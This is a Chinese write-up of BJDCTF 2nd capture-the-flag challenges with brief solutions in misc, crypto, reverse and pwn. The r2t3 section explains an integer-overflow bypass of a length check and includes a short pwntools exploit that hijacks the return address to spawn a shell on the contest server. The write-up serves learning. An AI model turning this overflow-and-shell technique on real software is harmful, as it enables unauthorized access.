BJD-2rd_Writeup(SOME)

BJD-2rd_Writeup(SOME)

三月 24, 2020

Misc

[BJDCTF 2nd]最简单的misc-y1ng

解压得到图片,打开看到一串十六进制,转ASCII字符得到flag

[BJDCTF 2nd]A_Beautiful_Picture

改一下png图片高度即可

[BJDCTF 2nd]小姐姐-y1ng

winhex搜索字符串,关键字BJD

[BJDCTF 2nd]EasyBaBa

winhex查看文件数据发现是avi类型的数据,打开发现里面放有二维码,拖进pr扫码,得到一串十六进制ASCII码,解码得到一串字符,该字符顺序明显不是原flag顺序,不过根据题目描述可以猜出二维码内容的排序

[BJDCTF 2nd]Real_EasyBaBa

winhex发现文件末尾存在zip包,直接解压缩会报错,文件头附近会有包内的路径信息,所以直接搜索hint定位文件头,发现文件头被破坏了,修复一下拿到hint,打开发现是一个二维码,用手机晃动扫码(可以直接产生模糊效果,能省掉电脑PS的时间2333),得到一串命令,直接去kali里面对这个图片复制命令操作,发现:
rezbb

[BJDCTF 2nd]圣火昭昭-y1ng

图片备注是解密后得到key,提示说正确的key没有最后的com,然后用outguess解密,key为密钥,得到flag

[BJDCTF 2nd]TARGZ-y1ng

虽然我曾说shell是最垃圾的语言,然而此刻还是,真香!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
flag=1
while (($flag==1))
do
file1=`ls | grep tar.gz`
if [ ${file1:0-6} == 'tar.gz' ]
then
unzip -P ${file1::0-7} $file1
rm $file1
else
cat $file1
flag=$flag+1
fi
done

[BJDCTF 2nd]Imagin - 开场曲

有一说一,再次体验到被针对的感觉,就是去mikutap人耳判断每个按键触发的声音和音频里的声音吻合度来判断按键。这里我的 5 对应的那个音是其他人 1 对应的音,心态炸裂。flag{mikutap3313313}

Crypto

[BJDCTF 2nd]签到-y1ng

base64解码

[BJDCTF 2nd]老文盲了

查这几个生僻字读音可得:flag{这就是flag直接交了吧}
即:读音为大括号的生僻字中间的生僻字就是flag

[BJDCTF 2nd]cat_flag

发现每一行有八只猫咪,总共十行,而且总共只有两种猫咪,所以将其转换为十个二进制ASCII码,再转成字符即可

[BJDCTF 2nd]灵能精通-y1ng

圣堂武士密码,猪圈密码变种

[BJDCTF 2nd]燕言燕语-y1ng

十六进制转字符得到:yanzi ZJQ{xilzv_iqssuhoc_suzjg}
明显是维吉尼亚密码,yanzi 是 key,解密一下得到 flag
BJD{yanzi_jiushige_shabi}

[BJDCTF 2nd]Y1nglish-y1ng

quipquip在线解密嘿嘿嘿,最后的flag修一下错误单词即可

[BJDCTF 2nd]rsa0

[BJDCTF 2nd]rsa1

Pwn

[BJDCTF 2nd]r2t3

简单的整数溢出
20200330162304
20200330162326
可以输入0x400bytes的数据,但是会用strlen函数获取输入长度,要求长度大于3小于9,而覆盖ret的返回地址需要总共0x19bytes的数据。这时候注意v3是一个int8类型的无符号变量,也就是v3最大也只能是255,超过255的话相当于做了一次%255的运算。也就是我们可以通过输入大于0x103小于0x109bytes的数据来绕过if判断,从而成功劫持EIP。又发现程序内置了system("/bin/sh")函数,直接调用即可。exp如下:

1
2
3
4
5
6
7
8
from pwn import *

#io = process("./r2t3")
io = remote("node3.buuoj.cn",27348)

io.sendline("a"*0x15+p32(0x08048594)+'a'*(0x105-0x19))

io.interactive()

[BJDCTF 2nd]one_gadget

[BJDCTF 2nd]ydsneedgirlfriend2

[BJDCTF 2nd]r2t4

[BJDCTF 2nd]secret

[BJDCTF 2nd]rci

Re

[BJDCTF 2nd]guessgame

拖进ida查找字符串即可得到flag

[BJDCTF 2nd]8086

ida查看发现一段没有用到的十六进制数据,已知的内容仅是一串明显加密了的字符串和一个死循环,很明显这串十六进制应该是做题的关键数据,使用ida的分析命令将其分析为汇编指令,发现果然是密文相关的操作。
20200330161628
20200330161858
写出脚本解得flag

1
2
3
4
5
flag_encode = "]U[du~|t@{z@wj.}.~q@gjz{z@wzqW~/b;"
flag = ''
for i in flag_encode:
flag += chr(ord(i)^0x1f)
print(flag)

[BJDCTF 2nd]diff2

隐藏